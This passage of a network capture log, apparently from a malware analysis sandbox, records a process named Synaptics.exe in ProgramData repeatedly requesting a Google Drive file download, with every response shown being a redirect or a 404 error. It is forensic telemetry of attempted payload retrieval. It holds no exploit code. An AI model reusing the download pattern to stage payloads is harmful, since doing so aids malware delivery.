2024-12-30 03:59:32 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:32 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-TATrBJ69shn1HH_BGAhG2w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49875	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:32 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:33 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7sj2j0nbUHWk1a5MgCGDq7rq6fA_d6BnPp2IlmRb9N17Ccrw-Bk9CY9lue5ylHeftKDl3sDyo Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:32 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-B-5r0DGtruTCPj1clq-u1Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:33 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 03:59:33 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4e 6c 57 70 77 78 37 72 67 5f 74 42 69 30 4a 72 45 66 37 57 4d 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="NlWpwx7rg_tBi0JrEf7WMQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 03:59:33 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49878	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:33 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:33 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:33 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-5q4kGZrqZ6KrQvvt09SfjA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49879	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:33 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:33 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6H__jp48lMPl_U3TEFh-FoqSc_MvrIze9ez4eSG4gcR3B17k6gHjs1gX-KasSHhGU- Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:33 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-yMgLJlmvrUBIyazQiUz9OA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:33 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:33 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 76 2d 47 7a 76 34 6d 52 6e 68 52 62 33 73 6c 74 51 42 6b 51 78 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="v-Gzv4mRnhRb3sltQBkQxw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:33 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49880	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:33 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:33 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:33 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-b7P5mgJyLY2qGnXLszQsNQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49881	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:33 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:34 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5Ay4RxBpc96w1vGaisqgXZN6kJlSI3CW79YcffGF3PvAOJmsFfwtL5PIqpHjCQVifj Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:33 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-YHmc-ArVDg9jrLUeHyxWNA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:34 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:34 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 30 76 6d 35 33 43 5a 59 48 47 66 31 30 2d 75 61 36 38 78 75 6c 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="0vm53CZYHGf10-ua68xulQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:34 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49882	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:34 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:34 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:34 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Jey-Zvd9GnpExHvgFumY2Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49883	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:34 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49884	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:34 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49885	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:34 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49887	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:35 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:35 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5n2jGEQCWLlQS-h6XieblUAo3rIkMj6uEeYyi8ldX-QWx4vY9N6Mkjw5-Sx07s_GvK Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:35 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-jjmdGFN99Fr0H8FCWxmiWg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
